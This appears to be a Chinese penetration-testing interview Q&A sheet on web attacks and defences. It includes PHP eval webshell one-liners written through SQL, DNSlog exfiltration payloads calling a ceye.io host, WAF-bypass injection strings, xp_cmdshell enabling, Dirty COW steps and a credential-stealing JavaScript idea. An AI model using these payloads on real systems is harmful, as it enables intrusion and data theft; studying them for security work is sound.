Linux下就是nobody用戶起了bash,Win下就是IIS User啟動cmd,這些都是動態(tài)特征。 再者如果黑客反向連接的話,那很更容易檢測了,Agent和IDS都可以抓現(xiàn)行。Webshell總 有一個HTTP請求,如果我在網(wǎng)絡層監(jiān)控HTTP,并且檢測到有人訪問了一個從沒反問過得文 件,而且返回了200,則很容易定位到webshell,這便是http異常模型檢測,就和檢測文件 變化一樣,如果非管理員新增文件,則說明被人入侵了。缺點也很明顯,黑客只要利用原文件 就很輕易繞過了,并且部署代價高,網(wǎng)站時常更新的話規(guī)則也要不斷添加。
日志檢測
使用Webshell一般不會在系統(tǒng)日志中留下記錄,但是會在網(wǎng)站的web日志中留下Webshell頁 面的訪問數(shù)據(jù)和數(shù)據(jù)提交記錄。 日志分析檢測技術(shù)通過大量的日志文件建立請求模型從而檢測 出異常文件,稱之為:HTTP異常請求模型檢測。
尋找webshell
1.自動化查找 D盾 河馬 fotify
2.手動查找 windows sublime 全文件夾查找 IDE PHPSTORM 全局查找 Linux 命令查找 grep -rn "eval(" *
webshell特征 PHP的危險函數(shù)
還有phar <?php XXXXX
09-如何查找DNS解析記錄
-
1. 查看瀏覽器緩存 2. 查看系統(tǒng)緩存 3. 查看路由器緩存 4. 查找ISP DNS緩存 5. 遞歸搜索。根據(jù)網(wǎng)址,發(fā)送一個DNS請求,UDP請求,端口為543,會請求一個 DNS服務 器,DNS服務器會不斷遞歸查找這個網(wǎng)址的IP
10- 登錄頁面的漏洞
- 注入點以及萬能密碼
- 敏感信息泄露
- 驗證碼繞過
- 無限注冊帳號
- 任意密碼重置
- 明文傳輸
- 越權(quán)漏洞
11-如何快速判定XSS類型?
存儲型XSS:
你發(fā)送一次帶XSS代碼的請求,以后這個頁面的返回包里都會有XSS代碼;
反射型XSS:
你發(fā)送一次帶XSS代碼的請求,只能在當前返回的數(shù)據(jù)包中發(fā)現(xiàn)XSS代碼;
DOM型XSS:
你發(fā)送一次帶XSS代碼的請求,在返回包里壓根兒就找不到XSS代碼的影子;
CSP策略:瀏覽器內(nèi)容安全策略,減少xss攻擊。
12-CSRF、SSRF和重放攻擊有什么區(qū)別?
- CSRF是跨站請求偽造攻擊,由客戶端發(fā)起
- SSRF是服務器端請求偽造,由服務器發(fā)起
- 重放攻擊是將截獲的數(shù)據(jù)包進行重放,達到身份認證等目的
13-CSRF 和 XSS 和 XXE 有什么區(qū)別,以及修復方式?
XSS是跨站腳本攻擊,用戶提交的數(shù)據(jù)中可以構(gòu)造代碼來執(zhí)行,從而實現(xiàn)竊取用戶信息等攻 擊。修復方式:對字符實體進行轉(zhuǎn)義、使用HTTP Only來禁止JavaScript讀取Cookie值、 輸入時校驗、瀏覽器與Web應用端采用相同的字符編碼。
CSRF是跨站請求偽造攻擊,XSS是實現(xiàn)CSRF的諸多手段中的一種,是由于沒有在關(guān)鍵操作執(zhí)行 時進行是否由用戶自愿發(fā)起的確認。修復方式:篩選出需要防范CSRF的頁面然后嵌入Token、 再次輸入密碼、檢驗Referer.
XXE是XML外部實體注入攻擊,XML中可以通過調(diào)用實體來請求本地或者遠程內(nèi)容,和遠程文件 保護類似,會引發(fā)相關(guān)安全問題,例如敏感文件讀取。修復方式:XML解析庫在調(diào)用時嚴格禁 止對外部實體的解析。
14-MongoDB注入方式
利用正則:找到y(tǒng)開頭的name db.items.find({name: {$regex:"^y"}})
一些payload
1.?login[$regex]=^&password[$regex]=^
2.`?login[ n o t ] [ not][ not][type]=1&password[ n o t ] [ not][ not][type]=1
15-mysql的網(wǎng)站,5.0以上和5.0以下有什么區(qū)別?
- 5.0以下沒有information_schema這個系統(tǒng)表,無法列表名等,只能暴力跑表名。
- 5.0以下是多用戶單操作,5.0以上是多用戶多操作
16-MySQL寫shell的問題
1.寫shell用什么函數(shù)?
- select '<?php phpinfo()> into outfile 'D:/shelltest.php'
- dumpfile
- file_put_contents
2.outfile不能用了怎么辦? select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
可以UDF提權(quán) https://www.cnblogs.com/milantgh/p/5444398.html
3.dumpfile和outfile有什么不一樣?outfile適合導庫,在行末尾會寫入新行并轉(zhuǎn)義, 因此不能寫入二進制可執(zhí)行文件。
4.sleep()能不能寫shell?
5.寫shell的條件?
- 用戶權(quán)限
- 目錄讀寫權(quán)限
- 防止命令執(zhí)行:disable_functions
,禁止了
disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_ope n,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
,但是可 以用dl擴展執(zhí)行命令或者ImageMagick漏洞
https://www.waitalone.cn/imagemagic-bypass-disable_function.html
open_basedir: 將用戶可操作的文件限制在某目錄下
mysql寫shell的條件
1、網(wǎng)站可訪問路徑的絕對路徑
2、secure_file_priv 的值非NULL或包含了導出的絕對路徑
secure_file_priv的值在mysql配置文件my.ini中設(shè)置,這個參數(shù)用來限制數(shù)據(jù)導入導出 Mysql>=5.5.53 默認為NULL,即默認禁止導入導出
Mysql<5.5.53 默認為空,即默認無限制
3、mysql服務有對網(wǎng)站可訪問路徑的寫權(quán)限
4、mysql連接用戶有FILE權(quán)限/ROOT用戶或ROOT權(quán)限
5、GPC關(guān)閉//未對閉合用的引號轉(zhuǎn)義
outfile 和 dumpfile的路徑不支持hex,必須有引號包裹
mysql日志寫shell
與導出函數(shù)寫Shell相比,規(guī)避了 secure_file_priv 的限制
1.網(wǎng)站可訪問路徑的絕對路徑
2.mysql服務有對網(wǎng)站可訪問路徑的寫權(quán)限
3.mysql連接用戶有權(quán)限開啟日志記錄和更換日志路徑/ROOT權(quán)限
4.GPC關(guān)閉/未對閉合用的引號轉(zhuǎn)義
雖然日志路徑可以hex編碼,但被記入日志的查詢語句中的shell內(nèi)容需要引號包裹,加 \
后傳到數(shù)據(jù)庫執(zhí)行會報錯,無法記錄進日志
root權(quán)限
GPC 關(guān)閉(能使用單引號),magic_quotes_gpc=On
有絕對路徑(讀文件可以不用,寫文件必須)
沒有配置–secure-file-priv
成功條件:有讀寫的權(quán)限,有 create、insert、select 的權(quán)限
17-disable functions 繞過
- 黑名單總有漏網(wǎng)之魚,多嘗試一些函數(shù)
- LD_PRELOAD:原理就是劫持系統(tǒng)函數(shù),使程序加載惡意動態(tài)鏈接庫文件,從而執(zhí)行系統(tǒng) 命令等敏感操作
- lmageMagick:利用lmageMagick命令執(zhí)行漏洞(CVE-2016-3714)
- Windows系統(tǒng)組件COM繞過
- PHP7.4FFI繞過
- 利用Bash破殼(CVE-2014-6271)漏洞繞過
- 利用imap_open()繞過(CVE-2018-19518)
- 利用pcntl插件繞過
18-拿到webshell不出網(wǎng)情況下怎么辦
reg上傳去正向連接。或探測出網(wǎng)協(xié)議,如dns,icmp
19-臟牛提權(quán)漏洞
臟牛漏洞,Dirty COW, CVE-2016-5195
漏洞范圍:Linux內(nèi)核 >= 2.6.22
簡要分析:該漏洞具體為,Linux內(nèi)核的內(nèi)存子系統(tǒng)在處理寫入復制(copy-on-write, COW)時產(chǎn)生了競爭條件( race condition)。惡意用戶可利用此漏洞,來獲取高權(quán)限,對 只讀內(nèi)存映射進行寫訪問。競爭條件,指的是任務執(zhí)行順序異常,可導致應用崩潰,或令攻擊 者有機可乘,進一步執(zhí)行其他代碼。利用這一漏洞,攻擊者可在其目標系統(tǒng)提升權(quán)限,甚至可 能獲得root權(quán)限
步驟:
1.查看系統(tǒng)版本和用戶權(quán)限
2.下載exp到本地 使用gcc -pthread dirty.c -o dirty -lcrypt命令對dirty.c 進行編譯,生成一個dirty的可執(zhí)行文件
3.執(zhí)行 ./dirty 密碼命令,即可進行提權(quán)
20-sqlmap的–level和–risk的區(qū)別
level級別越高發(fā)送的請求越多,并且在level3以上時會嘗試對referer注入。
而risk則是風險系數(shù),默認是1會測試大部分的測試語句,2會增加基于事件的測試語句,3會 增加OR語句的QL注入測試。在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句, 可能導致更新的整個表,可能造成很大的風險
21-存儲型XSS怎么利用?
XSS攻擊的原理是通過修改或者添加頁面上的JavaScript惡意腳本,在瀏覽器渲染頁面的時 候執(zhí)行該腳本,從而實現(xiàn)竊取COOKIE或者調(diào)用Ajax實現(xiàn)其他類型的CSRF攻擊,還可以插入 beef進行釣魚等
CORS(瀏覽器同源策略)
js =>ajax 去請求其他網(wǎng)站的東西
test.com 根據(jù)瀏覽器的CORS策略 他只能在test.com里面請求東西
test.com 調(diào)用ajax 去訪問 xxxx.com assdasd.test.com 如果目標的CORS頭 默 認不放行test.com 這樣 test.com 的ajax請求就不會訪問其他網(wǎng)站
22-審查上傳點的元素有什么意義?
有些站點的上傳文件類型限制是在前端實現(xiàn)的,這時只要增加上傳類型就能突破限制了
23- 3389 無法連接
沒開放 3389 端口;端口被修改;防護攔截;處于內(nèi)網(wǎng)(需進行端口轉(zhuǎn)發(fā))
24- 目標站無防護,上傳圖片可以正常訪問,上傳腳本格式訪問則403
有可能Web服務器配置把上傳目錄寫死了不執(zhí)行相應腳本,嘗試改后綴名繞過。
25-Mysql幾種提權(quán)方式
Mysql_UDF 提權(quán)
利用了root高權(quán)限,創(chuàng)建帶有調(diào)用 cmd 的函數(shù)的 udf.dll 動態(tài)鏈接庫,
導出 udf.dll 文件后,我們就可以直接在命令框輸入 cmd
限制條件
:
1-MySQL 數(shù)據(jù)庫沒有開啟安全模式(確認secure_file_priv=''是否為空)
2-已知的數(shù)據(jù)庫賬號具有對MySQL數(shù)據(jù)庫insert和delete的權(quán)限,最好是root最高權(quán)限。
3-shell有寫入到數(shù)據(jù)庫安裝目錄的權(quán)限。
MOF提權(quán):
MOF提權(quán)是一個有歷史的漏洞,基本上在Windows Server 2003的環(huán)境下才可以成功。提權(quán) 的原理是C:/Windows/system32/wbem/mof/目錄下的mof文件每隔一段時間(幾秒鐘左 右)都會被系統(tǒng)執(zhí)行,因為這個 MOF 里面有一部分是 VBS腳本,所以可以利用這個VBS腳本 來調(diào)用CMD來執(zhí)行系統(tǒng)命令,如果 MySQL有權(quán)限操作 mof 目錄的話,就可以來執(zhí)行任意命令 了。
26-針對token的測試 會注意哪些方面?
針對token的攻擊,一是對它本身的攻擊,重放測試一次性、分析加密規(guī)則、校驗方式是否正 確等,二是結(jié)合信息 泄露漏洞對它的獲取,結(jié)合著發(fā)起組合攻擊信息泄露有可能是緩存、 日 志、get,也有可能是利用跨站很多跳轉(zhuǎn)登錄的都依賴token,有一個跳轉(zhuǎn)漏洞加反射型跨站 就可以組合成登錄劫持了另外也可以結(jié)合著其它業(yè)務來描述token的安全性及設(shè)計不好怎么被 繞過比如搶紅包業(yè)務之類的
27-token和refer橫向?qū)Ρ?誰安全等級高?
token安全等級更高,因為并不是任何服務器都可以取得referer,如果從HTTPS 跳到 HTTP,也不會發(fā)送referer。并且FLASH一些版本中可以自定義referer。但是token的 話,要保證其足夠隨機且不可泄露。(不可預測性原則)
28-SQL注入寫shell 單引號被過濾咋辦?
寫 shell: root 權(quán)限,GPC 關(guān)閉,知道文件路徑outfile函數(shù)http://127.0.0.1:81/sqli.php?id=1 into outfileC:\\wamp64\\www\\phpinfo.php' FIELDSTERMINATED BY '<?php phpinfo(); ?>'http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile C:\\wamp64\\www\\phpinfo.php' 、寬字節(jié)注入代替空格的方法
%0a、%0b、%a0 等/**/ 等注釋符<>
29-寬字節(jié)注入的原理?
產(chǎn)生原理
在數(shù)據(jù)庫使用了寬字符集而WEB中沒考慮這個問題的情況下,在WEB層,由于 0XBF27是兩個 字符,在PHP中比如addslash和 magic_quotes_gpc 開啟時,由于會對 0x27 單引號進 行轉(zhuǎn)義,因此0xbf27會變成0xbf5c27,而數(shù)據(jù)進入數(shù)據(jù)庫中時,由于 0XBF5C 是一個另外 的字符,因此\轉(zhuǎn)義符號會被前面的 bf 帶著"吃掉",單引號由此逃逸出來可以用來閉合語句。
根本原因
character_set_client(客戶端的字符集)和 character_set_connection(連接層的 字符集)不同 ,或轉(zhuǎn)換函數(shù)
如iconv、mb_convert_encoding使用不當。
解決辦法
統(tǒng)一數(shù)據(jù)庫、Web 應用、操作系統(tǒng)所使用的字符集,避免解析產(chǎn)生差異,最好都設(shè)置為 UTF- 8。或?qū)?shù)據(jù)進行正確的轉(zhuǎn)義,
如mysql_real_escape_string+mysql_set_charset的使用。
30-img標簽除了onerror屬性外,還有其他獲取管理員路徑的辦法?
1.服務器修改apache配置文件,配置 .jpg文件以php方式來解析AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 會以php方 式來解析2.c定一個遠程的腳本文件,獲取 referer
31-代碼執(zhí)行、文件讀取、命令執(zhí)行函數(shù)有哪些?
1)代碼執(zhí)行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,cre ate_function
2)文件讀取:
file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等
3)命令執(zhí)行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
32-為什么aspx木馬權(quán)限比asp大?
aspx使用的是 .net技術(shù)。IIS中默認不支持,ASP只是腳本語言而已。入侵的時候asp的木馬 一般是guest權(quán)限…APSX的木馬一般是users權(quán)限.
33-提權(quán)為何選擇可讀寫目錄?不用帶空格的目錄?
因為exp執(zhí)行多半需要空格界定參數(shù)
34-有shell情況下如何使用xss實現(xiàn)對目標站的長久控制?
后臺登錄處加一段記錄登錄賬號密碼的 js,并且判斷是否登錄成功,如果登錄成功,就把賬 號密碼記 錄到一個生僻的路徑的文件中或者直接發(fā)到自己的網(wǎng)站文件中。(此方法適合有價值 并且需要深入控 制權(quán)限的網(wǎng)絡)。 在登錄后才可以訪問的文件中插入XSS腳本
35-發(fā)現(xiàn)uid=100注入點,獲取shell的思路?
有寫入權(quán)限的,構(gòu)造聯(lián)合查詢語句使用 using INTO OUTFILE,可以將查詢的輸出重定向到 系統(tǒng)的文件中,這樣去寫入WebShell使用sqlmap –os-shell原理和上面一種相同,來直 接獲得一個Shell,這樣效率更高通過構(gòu)造聯(lián)合查詢語句得到網(wǎng)站管理員的賬戶和密碼,然后 掃后臺登錄后臺,再在后臺通過改包上傳等方法上傳Shell.
36-如何拿一個站點的webshell?
上傳,后臺編輯模板,sql注入寫文件,命令執(zhí)行,代碼執(zhí)行,一些已經(jīng)爆出的cms 漏洞,比 如dedecms后臺可以直接建立腳本文件,wordpress上傳插件包含腳本文件zip壓縮包等
37-手工判斷目標站是Windows還是Linux?
1.Linux大小寫敏感 Windows不敏感
2.通過Ping的值 TTL
Linux值 64或者255
win 32 128
unix 255
38.SVN/GIT 源代碼泄露
1.在使用 SVN 管理本地代碼過程中,會自動生成一個名為 .svn 的隱藏文件
夾,其中包含重要的源代碼信息/.git/config
2.使用git進行版本控制,對站點自動部署。如果配置不當,可能會將 .git文件夾直接部署到 線上環(huán)境。這就引起git泄露漏洞/.svn/entries
39.項目上漏洞掃描需注意哪些?
跟客戶確認是否充許登錄掃描、掃描并發(fā)連接數(shù)及線程數(shù)、是否充許暴力破確,什么時間掃 描、通知客戶備份一下數(shù)據(jù),開啟業(yè)務系統(tǒng)及網(wǎng)站運維監(jiān)控,以免斷機可及時恢復
40.Mysql注入點,工具對目標站點寫一句話 需要哪些條件?
root權(quán)限、網(wǎng)站的絕對路徑、需要數(shù)據(jù)庫開啟 secure_file_priv相當于secure_file_priv的值為空,不為空不充許寫入webshell(默認不開啟,需要修改 my.ini 配置文件)
41.為何一個mysql數(shù)據(jù)庫的站,只有一個80端口開放
1、更改了數(shù)據(jù)庫端口,沒有掃描出來。
2、站庫分離。
3、3306 端口不對外開放
42.報錯注入的函數(shù)?
updatexml、extractvalue、floor、exp
43-Post和Get都做了防注入,可以采用什么方式繞過?
Cookies注入繞過
44-SQL注入只能查帳號密碼?
最低權(quán)限都可以查找?guī)ぬ柡兔艽a,如 mssql sa 權(quán)限可以獲取系統(tǒng)權(quán)限,dbowner 可以獲 取 Webshell,public 可以脫庫;mysql root 權(quán)限、知道網(wǎng)站的絕對路徑、數(shù)據(jù)庫 my.ini 配置文件 secure_file_priv 值為空時,就可以獲取 webshell 并執(zhí)行操作系 統(tǒng)命令。
45-sqlmap,怎么對一個注入點注入?
1.如果是 get 注入,直接,sqlmap -u “注入點網(wǎng)址”.
2.如果是 post 注入,可以 sqlmap – r "burp 地址訪問包”
3.如果是 cookie,X-Forwarded-For等,可以訪問的時候,用burpsuite抓包,注入處 用號替換,放到文件里,然后sqlmap -r “文件地址”,記得加上—level 3參數(shù)
46-SQL注入的防護方法?
1、涵數(shù)過濾,如 !is_numeric 涵數(shù) //判斷變量 id 是否為數(shù)字
2、直接下載相關(guān)防范注入文件,通過 incloud 包含放在網(wǎng)站配置文件里面,如 360、阿里 云、騰迅提供的防注入腳本
3、使用白名單來規(guī)范化輸入驗證方法
4、采用 PDO 預處理
5、使用 Waf 攔截
47-盲注IF被過濾怎么繞過?
如果 and if 被 waf 攔截,我們可以使用內(nèi)聯(lián)注釋來繞過函數(shù)的檢測,如:
xor /*!if*/(length(/*!database*//* !()*/)>=1,/*!sleep*//* !
(1)*/,curdate())%23
^ /*!if*/(length(/*!database*//* !()*/)>=1,/*!sleep*//* ! (1)*/,curdate())%23
/*!if*/(length(/*!database*//* !()*/)>=1,/*!sleep*//* !
(1)*/,curdate())%23
and case when 1!=0 then /*!sleep*//* !(5)*/ else 0 end %23
48-SQL注入無回顯,利用DNSlog如何構(gòu)造?
1.沒有回顯的情況下,一般編寫腳本,進行自動化注入。但與此同時,由于 防火墻的存在,容易被封禁 IP,可以嘗試調(diào)整請求頻率,有條件的使用代理池 進行請求。
2.此時也可以使用 DNSlog 注入,原理就是把服務器返回的結(jié)果放在域
名中,然后讀取 DNS 解析時的日志,來獲取想要的信息。
3.Mysql 中利用load_file()構(gòu)造payload
‘ and if((select load_file(concat(‘\\’ ,(select
database()),’ .xxx.ceye.io\abc’))),1,0)#
4.Mssql 下利用 master…xp_dirtree 構(gòu)造 payload
DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master…xp_dirtree”\’+@host+’ \foobar$”‘);
49.PHPadmin寫shell的方法?
一、常規(guī)導入 shell 的操作
創(chuàng)建數(shù)據(jù)表導出 shell
CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL ); INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘<?php @eval($_POST[pass]);?>’);SELECT `content` FROM `shadow9` INTO OUTFILE‘C:\\phpStudy\\WWW\\90sec.php’ ;DROP TABLE IF EXISTS `shadow9`;
二、一句話導出shell:
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstu dy/www/90sec.php';select '<?php @eval($_POST[pass]);?>' into outfile 'c:\\phpst udy\\www\\90sec.php';select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\\phps tudy\\www\\bypass.php';
三、 日志備份獲取 shell
show global variables like "%genera%"; //查詢general_log配置set global general_log='on'; //開啟 general log 模 式SET global general_log_file='D:/phpStudy/WWW/cmd.php'; //設(shè) 置日志文件保存路徑SELECT '<?php phpinfo();?>'; //phpinfo()寫入日志文件set global general_log='off'; //關(guān)閉 general_log模 式
50.SQL注入時 and or 被過濾怎辦?
1.大小寫變形
2.編碼
3.添加注釋
4.雙寫法
5.利用符號形式
6.浮點數(shù) #數(shù)字被注釋
7.函數(shù)替代 #符號被注釋
51-快速找文件下載漏洞?
一般鏈接形式:
download.php?path=
down.php?file=
data.php?file=
download.php?filename=
或者包含參數(shù):
&Src=
&Inputfile=
&Filepath=
&Path=
&Data=
52-任意文件下載的防范方法?
(1)過濾".",使用戶在url中不能回溯上級目錄
(2)正則嚴格判斷用戶輸入?yún)?shù)的格式
(3)php.ini 配置open_basedir限定文件訪問范圍
53-CORS產(chǎn)生利用方式?繞過同源策略方式?
1-CORS 全稱是”跨域資源共享”(Cross-origin resource sharing) ,Origin源未
嚴格,從而造成跨域問題 ,允許瀏覽器向跨源服務器,發(fā)出
XMLHttpRequest請求
2-Origin 為*的時候,使用 curl 測試 CORS,
curl -H “Origin: https://evil.com” -I
再尋找的 api 接口是否有敏感信息泄漏。
3-同源:協(xié)議相同、域名相同、端口相同,繞過同源策略限制的方法:
1、document.domain 屬性
2、片段識別符(URL 后加#號)
3、window.name
4、跨文檔通信 API
5、JSONP
6、CORS
7、WebSockets
4-jsonp 跨域利用:獲取 JSON 數(shù)據(jù)并編碼發(fā)送到遠程服務器
54-XSS彈窗函數(shù)和常見的XSS繞過策略?
alert,confirm,prompt 三種函數(shù)
繞過策略:
1.大小寫混合
2.雙寫
3.編碼
4.fuzz 低頻使用標簽 <details/open/ontoggle>
5.fuzz 低頻使用函數(shù) ontoggle 等
6.<img/src=1>
7.%0a 或者%0d 繞過
55-SSRF利用Redis寫shell
1.SSRF 服務端請求偽造
一、對內(nèi)網(wǎng)掃描,獲取 banner
二、攻擊運行在內(nèi)網(wǎng)的應用,主要是使用 GET 參數(shù)就可以實現(xiàn)的攻擊(比如 Struts2,sqli 等)
三、利用協(xié)議讀取本地文件
四、云計算環(huán)境 AWS Google Cloud 環(huán)境可以調(diào)用內(nèi)網(wǎng)操作 ECS 的 API
2.)如 webligic SSRF 漏洞
通過 SSRF 的 gopher 協(xié)議操作內(nèi)網(wǎng)的 redis,利用 redis 將反彈 shell 寫入 crontab 定時任務,url 編碼,將\r 字符串替換成%0d%0a
56-xpcmdshell禁用了有什么方法提權(quán)
可以通過使用 sp_configure 啟用 ‘xp_cmdshell’。有關(guān)啟用 ‘xp_cmdshell’ 的步 驟可參考:
用查詢分析器 ,依次執(zhí)行下面的語句 ,就可以了 .
USE master
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘xp_cmdshell’, 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘show advanced options’, 0
就可以順利的執(zhí)行 CMDSHELL 了
57-網(wǎng)站后臺Getshell的方法?
- webshell路徑直接上傳
- 數(shù)據(jù)庫備份getshell
- 修改網(wǎng)站上傳類型配置拿webshell
- 執(zhí)行sql語句寫入webshell
- 通過數(shù)據(jù)庫拿webshell
- 命令執(zhí)行拿webshell
- phpmyadmin寫sehll
58-fastjson不出網(wǎng)怎么利用
#目前公開已知的poc有兩個:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.tomcat.dbcp.dbcp2.BasicDataSource
#第一種利用方式需要一個特定的觸發(fā)條件:
解析JSON的時候需要使用Feature才能觸發(fā),參考如下代碼:
JSONObject.parseObject(sb.toString(), new Feature[]
{Feature.SupportNonPublicField});
#第二種利用方式: 則需要應用部署在Tomcat應用環(huán)境中,因為Tomcat應用環(huán)境自帶 tomcat-dbcp.jar 對于SpringBoot這種自帶Tomcat可以直接以單個jar文件部署的需要 在maven中配置tomcat- dbcp。
而且對于不同的Tomcat版本使用的poc也不同:
Tomcat 8.0以后使用
org.apache.tomcat.dbcp.dbcp2.BasicDataSource ? Tomcat
8.0以下使用 org.apache.tomcat.dbcp.dbcp.BasicDataSource
58.遇到XXE盲注怎么辦?
如果遇到XXE無回顯注入的話,可以選擇使用DNS外帶和外部參數(shù)實體注入
1- 在攻擊者自己的公網(wǎng)服務器,準備一個test.dtd通過base64為將讀取的內(nèi)容加密得到的 值當作傳參值,發(fā)送給攻擊者的公網(wǎng)服務器
2-受害者那邊,通過外部參數(shù)實體注入訪問攻擊者公網(wǎng)服務器下的test.dtd文件 3-最后看 攻擊者公網(wǎng)服務器的日志,轉(zhuǎn)碼得到受害者服務器的內(nèi)容
數(shù)據(jù)內(nèi)容過多,整理起來比較慢,各種看官還請多多包涵
有任何錯誤請感謝指正 交流!